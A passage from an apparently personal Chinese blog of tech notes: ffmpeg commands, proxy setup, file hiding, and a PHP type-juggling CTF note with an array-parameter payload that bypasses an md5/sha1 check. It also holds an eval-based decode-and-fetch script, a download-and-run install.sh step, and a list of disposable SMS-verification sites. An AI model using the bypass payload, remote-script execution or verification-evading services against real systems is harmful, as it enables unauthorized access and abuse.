class="number">0e456</span>相互不严格性质比较的时候，会将<span class="number">0</span>e这类字符串识为科学技术法的数字,<span class="number">0</span>的无论多少次方都是零，所以相等,输出 <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="number">0e123</span>与<span class="number">0</span>eabc相互进行不严格性质比较的时候，本应该将<span class="number">0</span>e这类字符串识为科学技术法的数字,但是这里的<span class="number">0</span>e后面跟着的是abc,数学中科学计数的指数不可以包含字母。所以这里字符串中虽然是<span class="number">0</span>e开头，但是后面的abc却不符合科学技法的规范，所以输出是 <span class="literal">false</span></span><br><span class="line"></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">$flag = <span class="string">'flag&#123;I_think_that_I_just_broke_md5&#125;'</span>;</span><br><span class="line"><span class="keyword">if</span> (isset($_GET[<span class="string">'username'</span>]) and isset($_GET[<span class="string">'password'</span>])) &#123;</span><br><span class="line">    <span class="keyword">if</span> ($_GET[<span class="string">'username'</span>] == $_GET[<span class="string">'password'</span>])</span><br><span class="line">        print <span class="string">'Your password can not be your username.'</span>;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (md5($_GET[<span class="string">'username'</span>]) === sha1($_GET[<span class="string">'password'</span>]))</span><br><span class="line">        die($flag);</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        print <span class="string">'Invalid password'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> ($_GET[<span class="string">'username'</span>] == $_GET[<span class="string">'password'</span>])</span><br><span class="line">并且得满足:</span><br><span class="line"><span class="keyword">if</span> (md5($_GET[<span class="string">'username'</span>]) === sha1($_GET[<span class="string">'password'</span>]))  ?username[]=a&amp;password[]=b</span><br></pre></td></tr></table></figure>
<h3 id="隐藏文件"><a href="#隐藏文件" class="headerlink" title="隐藏文件"></a>隐藏文件</h3><p>把hosts文件系统文件自动保护并隐藏的方法：</p>
<p>运行WIN+R，cmd，启动命令行以后，输入命令 ATTRIB +S +H +R HOSTS</p>
<p>还原为普通文件允许修改：</p>
<p>运行WIN+R，cmd，启动命令行以后，输入命令 ATTRIB -S -H -R HOSTS<br><a href="https://blog.gxxsite.com/hostswen-jian-bao-hu-jia-suo-yu-jie-suo-kuai-su-pei-zhi-ke-shang-github-google/" target="_blank" rel="noopener">https://blog.gxxsite.com/hostswen-jian-bao-hu-jia-suo-yu-jie-suo-kuai-su-pei-zhi-ke-shang-github-google/</a> </p>
<h3 id="编码"><a href="#编码" class="headerlink" title="编码"></a>编码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">$cipher = <span class="string">"XHg2OFx4NzRceDc0XHg3MFx4NzNceDNhXHgyZlx4MmZceDc0XHg2NVx4NzJceDZkXHg2Mlx4NjlceDZlXHgyZVx4NjNceDZmXHg2ZFx4MmZceDZjXHg2Y1x4NjJceDYz"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 1. base64</span></span><br><span class="line">$escaped_hex = base64_decode($cipher);</span><br><span class="line">echo <span class="string">'escaped_hex: '</span> . $escaped_hex . PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. "\x" unescape https://learnku.com/articles/25862</span></span><br><span class="line"><span class="built_in">eval</span>(<span class="string">'$url = "'</span> . $escaped_hex . <span class="string">'";'</span>);</span><br><span class="line">echo <span class="string">'url: '</span> . $url . PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 3. read this url</span></span><br><span class="line">$resource = trim(</span><br><span class="line">    file_get_contents($url)</span><br><span class="line">);</span><br><span class="line">echo <span class="string">'resource: '</span> . $resource . PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 4. trim</span></span><br><span class="line">$encoding = strstr($resource, <span class="string">':'</span>, <span class="literal">true</span>);</span><br><span class="line">echo <span class="string">'encoding: '</span> . $encoding . PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 5. absorb real data</span></span><br><span class="line">$parts = explode(<span class="string">' '</span>, $resource);</span><br><span class="line">array_shift($parts);</span><br><span class="line">$hex = implode(<span class="string">''</span>, $parts);</span><br><span class="line">echo <span class="string">'hex: '</span> . $hex . PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 6. get the raw binary</span></span><br><span class="line">$bin = pack(<span class="string">'H*'</span>, $hex);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 7. final convert</span></span><br><span class="line">$results = mb_convert_encoding($bin, <span class="string">'utf-8'</span>, $encoding);</span><br><span class="line">echo <span class="string">'RESULTS: '</span> . $results . PHP_EOL;</span><br></pre></td></tr></table></figure>
<h3 id="命令行进度条"><a href="#命令行进度条" class="headerlink" title="命令行进度条"></a>命令行进度条</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">    echo <span class="string">"\033[41:37m \n Laravel ERROR : Oh My God, this is a bug!!! \n https://kuricat.com/gist/ansi-stdout-6s4pi"</span>;</span><br><span class="line">$count = <span class="number">100</span>;</span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">1</span>; $i &lt;= <span class="number">100</span>; $i++) &#123;</span><br><span class="line">    usleep(<span class="number">50000</span>);</span><br><span class="line">    $color = $i % <span class="number">8</span> + <span class="number">40</span>;</span><br><span class="line">    $equalStr = str_repeat(<span class="string">"\033[&#123;$color&#125;;37m=\33[0m"</span>, $i);</span><br><span class="line">    $space    = str_repeat(<span class="string">" "</span>, $count - $i);</span><br><span class="line">    echo(<span class="string">"\r [$equalStr&gt;$space]($i/$count%)"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h4 id="cookie编辑"><a href="#cookie编辑" class="headerlink" title="cookie编辑"></a>cookie编辑</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">document</span>.cookie=<span class="string">"username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/"</span>; </span><br><span class="line">也可以删除cookie </span><br><span class="line">https:<span class="comment">//chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg</span></span><br><span class="line">https:<span class="comment">//superuser.com/questions/244062/how-do-i-view-add-or-edit-cookies-in-google-chrome</span></span><br></pre></td></tr></table></figure>
<h3 id="国内外免费可用接收短信验证码平台网站"><a href="#国内外免费可用接收短信验证码平台网站" class="headerlink" title="国内外免费可用接收短信验证码平台网站"></a>国内外免费可用接收短信验证码平台网站</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//www.09l.me/714.html</span></span><br><span class="line">免费接收短信	http:<span class="comment">//www.shejiinn.com/	中国、缅甸</span></span><br><span class="line">Z-SMS	http:<span class="comment">//z-sms.com/	中国、美国、缅甸、爱沙尼亚</span></span><br><span class="line">免费接收短信	http:<span class="comment">//www.smszk.com/	中国</span></span><br><span class="line">在线接收短信	https:<span class="comment">//www.becmd.com/	美国、中国</span></span><br><span class="line">在线短信接收	https:<span class="comment">//www.pdflibr.com/	美国、中国、菲律宾</span></span><br><span class="line">MyTrashmobile	https:<span class="comment">//zh.mytrashmobile.com/	美国、英国、加拿大</span></span><br><span class="line">FreePhonenum	https:<span class="comment">//ch.freephonenum.com/	美国、加拿大(支持免费发短信)</span></span><br><span class="line">ReceiveSMS	https:<span class="comment">//www.receivesms.co/	奥地利、比利时、加拿大、瑞士、丹麦、西班牙、英国、意大利、拉脱维亚、波兰、葡萄牙、瑞典、美国</span></span><br><span class="line">Receive SMS	http:<span class="comment">//receivesmsverification.com/	比利时、英国、美国</span></span><br><span class="line">Receive Online SMS	http:<span class="comment">//receiveonlinesms.biz/	美国、瑞典、挪威、西班牙、英国</span></span><br><span class="line">Receive Free SMS	http:<span class="comment">//www.freesmsverifications.com/	美国、英国、法国、波兰、比利时、加拿大</span></span><br><span class="line">SMS-Receive	https:<span class="comment">//sms-receive.net/	俄罗斯、法国、罗马尼亚、西班牙、荷兰、英国</span></span><br><span class="line">Receive-SMS-Now	http:<span class="comment">//www.receive-sms-now.com/	美国、加拿大、荷兰</span></span><br><span class="line">Receive SMS Online	http:<span class="comment">//receivesmsonline.in/	美国、加拿大、西班牙</span></span><br><span class="line">Receive-SMS-Now	http:<span class="comment">//receivefreesms.net/	美国、加拿大、西班牙</span></span><br><span class="line">SMSReceiveFree	https:<span class="comment">//smsreceivefree.com	美国、英国、加拿大</span></span><br><span class="line">Receive SMS Online <span class="keyword">for</span> FREE	https:<span class="comment">//www.receive-sms-online.info/	英国、罗马尼亚、美国、西班牙、法国、德国、俄罗斯</span></span><br><span class="line">Receive a SMS Online	https:<span class="comment">//receive-a-sms.com/	美国、澳大利亚、挪威、奥地利、巴西、香港、南非、波兰、英国、加拿大</span></span><br><span class="line">Free SMS Numbers Online	https:<span class="comment">//smsnumbersonline.com/	美国、英国、加拿大、波兰</span></span><br><span class="line">Receive SMS online <span class="keyword">for</span> Free	https:<span class="comment">//sms-online.co/receive-free-sms	美国、英国、加拿大、瑞典、法国、马来西亚、印度尼西亚</span></span><br><span class="line">Receive-SMS	https:<span class="comment">//receive-sms.com/	美国</span></span><br><span class="line">Receive FREE SMS online	http:<span class="comment">//receivefreesms.com/	美国、英国、挪威、瑞典、荷兰、澳大利亚、匈牙利、立陶宛、香港等</span></span><br><span class="line">RECEIVE SMS ONLINE	https:<span class="comment">//www.receivesmsonline.net/	美国、加拿大、英国</span></span><br><span class="line">Free Online Phone	https:<span class="comment">//www.freeonlinephone.org	美国、加拿大、英国、瑞典</span></span><br><span class="line">Receive SMS Online	http:<span class="comment">//receive-sms-online.com	俄国、英国、乌克兰</span></span><br><span class="line">TextNow	https:<span class="comment">//www.textnow.com/	美国</span></span><br><span class="line">Textfree	https:<span class="comment">//www.pinger.com/text-free/	</span></span><br><span class="line">SELLAITE	http:<span class="comment">//sms.sellaite.com/	爱沙尼亚</span></span><br><span class="line">Twilio	https:<span class="comment">//www.twilio.com/	支持API调用，看上去很不错</span></span><br></pre></td></tr></table></figure>
<h3 id="隐藏文件夹"><a href="#隐藏文件夹" class="headerlink" title="隐藏文件夹"></a>隐藏文件夹</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">在命令提示符下输入：attrib +s +a +h +r d:不告诉你，回车，就彻底隐藏了D:\不告诉你文件夹了，即使在显示隐藏的文件、文件夹和驱动器下也可以将其隐藏起来。</span><br><span class="line">直接在地址栏输文件夹名不告诉你即可打开文件夹，神不知鬼不觉</span><br><span class="line">需要在命令提示符下输入：attrib -s -a -h -r d:不告诉你，回车，此时不告诉你文件夹就显示出来了。</span><br></pre></td></tr></table></figure>
<h3 id="ffmpeg"><a href="#ffmpeg" class="headerlink" title="ffmpeg"></a>ffmpeg</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br></pre></td><td class="code"><pre><span class="line">ffmpeg.exe</span><br><span class="line">ffmpeg是用于转码的应用程序。</span><br><span class="line">一个简单的转码命令可以这样写：</span><br><span class="line">将input.avi转码成output.ts，并设置视频的码率为<span class="number">640</span>kbps</span><br><span class="line">ffmpeg -i input.avi -b:v <span class="number">640</span>k output.ts</span><br><span class="line">ffplay.exe</span><br><span class="line">ffplay是用于播放的应用程序。</span><br><span class="line">一个简单的播放命令可以这样写：</span><br><span class="line"># 播放test.avi</span><br><span class="line">ffplay test.avi</span><br><span class="line"></span><br><span class="line"># 将视频流下载并合并成 out.mkv </span><br><span class="line">ffmpeg -i http:<span class="comment">//...m3u8 -c copy out.mkv</span></span><br><span class="line">ffmpeg 的一些参数</span><br><span class="line">基本使用方式：</span><br><span class="line">ffmpeg [[options][<span class="string">`-i’ input_file]] &#123;[options] output_file&#125; </span></span><br><span class="line"><span class="string">a) 通用选项</span></span><br><span class="line"><span class="string">ffmpeg -h 帮助，查看所有参数说明</span></span><br><span class="line"><span class="string">-i filename 输入文件 </span></span><br><span class="line"><span class="string">-b bitrate 设置比特率，缺省200kb/s </span></span><br><span class="line"><span class="string">-ss position 搜索到指定的时间 [-]hh:mm:ss[.xxx]的格式也支持。使用-ss参数的作用，可以从指定时间点开始转换任务，-ss后的时间单位为秒 </span></span><br><span class="line"><span class="string">-title string 设置标题（比如PSP中显示影片的标题） </span></span><br><span class="line"><span class="string">-author string 设置作者 </span></span><br><span class="line"><span class="string">-r fps 设置帧频 缺省25 </span></span><br><span class="line"><span class="string">-s size 设置帧大小 格式为W*H 缺省160*128.也可以直接使用简写</span></span><br><span class="line"><span class="string">-ab bitrate 设置音频码率 </span></span><br><span class="line"><span class="string">-ar freq 设置音频采样率 </span></span><br><span class="line"><span class="string">ffmepg常用的方法</span></span><br><span class="line"><span class="string">1.提取音频</span></span><br><span class="line"><span class="string">ffmpeg -i test.mp4 -acodec copy -vn output.aac </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># 上面的命令，默认mp4的audio codec是aac,如果不是，可以都转为最常见的aac。 </span></span><br><span class="line"><span class="string">ffmpeg -i test.mp4 -acodec aac -vn output.aac</span></span><br><span class="line"><span class="string">2.视频剪切</span></span><br><span class="line"><span class="string"># 下面的命令，可以从时间为00:00:15开始，截取5秒钟的视频。 </span></span><br><span class="line"><span class="string">ffmpeg -ss 00:00:15 -t 00:00:05 -i input.mp4 -vcodec copy -acodec copy output.mp4 </span></span><br><span class="line"><span class="string"># -ss表示开始切割的时间，-t表示要切多少。上面就是从15秒开始，切5秒钟出来。</span></span><br><span class="line"><span class="string">3.码率控制</span></span><br><span class="line"><span class="string">码率控制对于在线视频比较重要。因为在线视频需要考虑其能提供的带宽。</span></span><br><span class="line"><span class="string">那么，什么是码率？很简单：</span></span><br><span class="line"><span class="string">bitrate = file size / duration 比如一个文件20.8M，时长1分钟，那么，码率就是： biterate = 20.8M bit/60s = 20.810241024*8 bit/60s= 2831Kbps 一般音频的码率只有固定几种，比如是128Kbps， 那么，video的就是 video biterate = 2831Kbps -128Kbps = 2703Kbps</span></span><br><span class="line"><span class="string">那么ffmpeg如何控制码率？</span></span><br><span class="line"><span class="string">ffmpg控制码率有3种选择，-minrate -b:v -maxrate</span></span><br><span class="line"><span class="string">-b:v主要是控制平均码率。 比如一个视频源的码率太高了，有10Mbps，文件太大，想把文件弄小一点，但是又不破坏分辨率。</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -b:v 2000k output.mp4 </span></span><br><span class="line"><span class="string">上面把码率从原码率转成2Mbps码率，这样其实也间接让文件变小了。目测接近一半。 不过，ffmpeg官方wiki比较建议，设置b:v时，同时加上 -bufsize。</span></span><br><span class="line"><span class="string">-bufsize 用于设置码率控制缓冲器的大小，设置的好处是，让整体的码率更趋近于希望的值，减少波动。（简单来说，比如1 2的平均值是1.5， 1.49 1.51 也是1.5, 当然是第二种比较好）</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -b:v 2000k -bufsize 2000k output.mp4</span></span><br><span class="line"><span class="string">-minrate 就简单了，在线视频有时候，希望码率波动，不要超过一个阈值，可以设置maxrate。</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -b:v 2000k -bufsize 2000k -maxrate 2500k output.mp4</span></span><br><span class="line"><span class="string">4.视频编码格式转换</span></span><br><span class="line"><span class="string">比如一个视频的编码是MPEG4，想用H264编码，咋办？</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -vcodec h264 output.mp4 </span></span><br><span class="line"><span class="string"># 相反也一样 </span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -vcodec mpeg4 output.mp4</span></span><br><span class="line"><span class="string">5.视频压缩</span></span><br><span class="line"><span class="string">将输入的1920x1080缩小到960x540输出:</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -vf scale=960:540 output.mp4 </span></span><br><span class="line"><span class="string"># ps: 如果540不写，写成-1，即scale=960:-1, 那也是可以的，ffmpeg会通知缩放滤镜在输出时保持原始的宽高比。</span></span><br><span class="line"><span class="string">6.为视频添加logo</span></span><br><span class="line"><span class="string">想要贴到一个视频上，那可以用如下命令：</span></span><br><span class="line"><span class="string">./ffmpeg -i input.mp4 -i iQIYI_logo.png -filter_complex overlay output.mp4 </span></span><br><span class="line"><span class="string">结果如下所示： 001.jpg</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">要贴到其他地方？看下面：</span></span><br><span class="line"><span class="string">右上角： </span></span><br><span class="line"><span class="string">./ffmpeg -i input.mp4 -i logo.png -filter_complex overlay=W-w output.mp4 </span></span><br><span class="line"><span class="string">左下角： </span></span><br><span class="line"><span class="string">./ffmpeg -i input.mp4 -i logo.png -filter_complex overlay=0:H-h output.mp4 </span></span><br><span class="line"><span class="string">右下角： </span></span><br><span class="line"><span class="string">./ffmpeg -i input.mp4 -i logo.png -filter_complex overlay=W-w:H-h output.mp4</span></span><br><span class="line"><span class="string">7.去掉视频的logo</span></span><br><span class="line"><span class="string">语法：</span></span><br><span class="line"><span class="string">-vf delogo=x:y:w:h[:t[:show]] </span></span><br><span class="line"><span class="string">x:y 离左上角的坐标 </span></span><br><span class="line"><span class="string">w:h logo的宽和高 </span></span><br><span class="line"><span class="string">t: 矩形边缘的厚度默认值4 </span></span><br><span class="line"><span class="string">show：若设置为1有一个绿色的矩形，默认值0。</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -vf delogo=0:0:220:90:100:1 output.mp4 </span></span><br><span class="line"><span class="string">结果如下所示： 002.jpg</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">8.截取视频图像</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -r 1 -q:v 2 -f image2 pic-%03d.jpeg </span></span><br><span class="line"><span class="string"># -r 表示每一秒几帧 </span></span><br><span class="line"><span class="string"># -q:v表示存储jpeg的图像质量，一般2是高质量。 </span></span><br><span class="line"><span class="string">如此，ffmpeg会把input.mp4，每隔一秒，存一张图片下来。假设有60s，那会有60张。</span></span><br><span class="line"><span class="string">可以设置开始的时间，和你想要截取的时间。</span></span><br><span class="line"><span class="string">ffmpeg -i input.mp4 -ss 00:00:20 -t 10 -r 1 -q:v 2 -f image2 pic-%03d.jpeg </span></span><br><span class="line"><span class="string"># -ss 表示开始时间 </span></span><br><span class="line"><span class="string"># -t 表示共要多少时间。 </span></span><br><span class="line"><span class="string">如此，ffmpeg会从input.mp4的第20s时间开始，往下10s，即20~30s这10秒钟之间，每隔1s就抓一帧，总共会抓10帧。</span></span><br><span class="line"><span class="string">干货：多个视频文件或文本文档合并成一个文件</span></span><br><span class="line"><span class="string">001.png 在当前目录下建立一个文本文挡，内容</span></span><br><span class="line"><span class="string">copy /b 1.ts + 2.ts + 3.ts new.ts</span></span><br><span class="line"><span class="string">然后保存，将文本文档后缀改成bat格式。打开即可将目录下的ts文件以二进制顺序合并为new.ts文件。 002.png</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">txt文本同样也可以用这种方法合并</span></span><br><span class="line"><span class="string">http://www.golang365.com/#/blog/20</span></span><br></pre></td></tr></table></figure>
<h3 id="命令行科学上网实践"><a href="#命令行科学上网实践" class="headerlink" title="命令行科学上网实践"></a>命令行科学上网实践</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">apt-get install xxxx</span><br><span class="line">listen-address <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">8118</span></span><br><span class="line">forward-socks5 / localhost:<span class="number">1086</span> .</span><br><span class="line">sudo privoxy /usr/local/etc/privoxy/config</span><br><span class="line">netstat -an | grep <span class="number">8118</span></span><br><span class="line"># 效果如下</span><br><span class="line"># tcp4     0    0  127.0.0.1.8118     *.*    LISTEN</span><br><span class="line"># tcp4     0    0  *.8118             *.*    LISTEN</span><br><span class="line">ps -ef | grep privoxy</span><br><span class="line">proxy_on</span><br><span class="line">https:<span class="comment">//sanbaofengs.com/2018/06/25/command-line-proxy/</span></span><br></pre></td></tr></table></figure>
<h3 id="网易云音乐歌曲变灰"><a href="#网易云音乐歌曲变灰" class="headerlink" title="网易云音乐歌曲变灰"></a>网易云音乐歌曲变灰</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">git clone https:<span class="comment">//github.com/nondanee/UnblockNeteaseMusic.git #克隆项目仓库</span></span><br><span class="line">cd UnblockNeteaseMusic #进入项目根目录</span><br><span class="line">host 里面加入</span><br><span class="line"></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> music<span class="number">.163</span>.com</span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> interface.music<span class="number">.163</span>.com</span><br><span class="line">node app.js -p <span class="number">80</span> -f <span class="number">223.252</span><span class="number">.199</span><span class="number">.66</span></span><br><span class="line">重启网易云 https:<span class="comment">//learnku.com/laravel/t/32900</span></span><br></pre></td></tr></table></figure>
<h3 id="如何预览GitHub项目里面的网页"><a href="#如何预览GitHub项目里面的网页" class="headerlink" title="如何预览GitHub项目里面的网页"></a>如何预览GitHub项目里面的网页</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">访问根目录demo.html http:<span class="comment">//xxx.github.io/DEMOs/demo.html</span></span><br><span class="line">在github上demo的仓库页面，点击“setting”按钮；</span><br><span class="line"></span><br><span class="line">找到GitHub Pages版块，选择Source为“master branch”，然后保存</span><br><span class="line"></span><br><span class="line">http:<span class="comment">//htmlpreview.github.io/</span></span><br><span class="line">http:<span class="comment">//rawgit.com/</span></span><br></pre></td></tr></table></figure>
<h3 id="一键反代谷歌和谷歌学术"><a href="#一键反代谷歌和谷歌学术" class="headerlink" title="一键反代谷歌和谷歌学术"></a>一键反代谷歌和谷歌学术</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//v2ex.com/t/247719#reply55 </span></span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"><span class="number">1.</span> wget -N --no-check-certificate https:<span class="comment">//raw.githubusercontent.com/sakz/ngx_google_deployment/master/install.sh</span></span><br><span class="line"><span class="number">2.</span> chmod <span class="number">771</span> ./install.sh</span><br><span class="line"><span class="number">3.</span> bash ./install.sh</span><br><span class="line">https:<span class="comment">//blog.fazero.me/2016/01/19/ngx-google/</span></span><br></pre></td></tr></table></figure>
<h3 id="proxychains在终端使用socks5代理"><a href="#proxychains在终端使用socks5代理" class="headerlink" title="proxychains在终端使用socks5代理"></a>proxychains在终端使用socks5代理</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">git clone https:<span class="comment">//github.com/rofl0r/proxychains-ng.git</span></span><br><span class="line">cd proxychains-ng</span><br><span class="line">./configure</span><br><span class="line">make &amp;&amp; make install</span><br><span class="line">cp ./src/proxychains.conf /etc/proxychains.conf</span><br><span class="line">cd .. &amp;&amp; rm -rf proxychains-ng</span><br><span class="line">vim /etc/proxychains.conf</span><br><span class="line"></span><br><span class="line">socks5 <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> <span class="number">1080</span></span><br><span class="line">需要代理的命令前加上 proxychains4 ，如：</span><br><span class="line"></span><br><span class="line">proxychains4 wget http:<span class="comment">//xxx.com/xxx.zip</span></span><br><span class="line">https:<span class="comment">//blog.fazero.me/2015/08/31/%E5%88%A9%E7%94%A8proxychains%E5%9C%A8%E7%BB%88%E7%AB%AF%E4%BD%BF%E7%94%A8socks5%E4%BB%A3%E7%90%86/</span></span><br></pre></td></tr></table></figure>
<h3 id="免费获取歌词"><a href="#免费获取歌词" class="headerlink" title="免费获取歌词"></a>免费获取歌词</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="comment">//geci.me/api/lyric/海阔天空  </span></span><br><span class="line">http:<span class="comment">//geci.me/api/lyric/海阔天空/Beyond</span></span><br><span class="line">http:<span class="comment">//geci.me/api/cover/1573814 根据专辑编号获取专辑封面URL</span></span><br><span class="line"></span><br><span class="line">https:<span class="comment">//hacpai.com/article/1364440883834</span></span><br></pre></td></tr></table></figure>
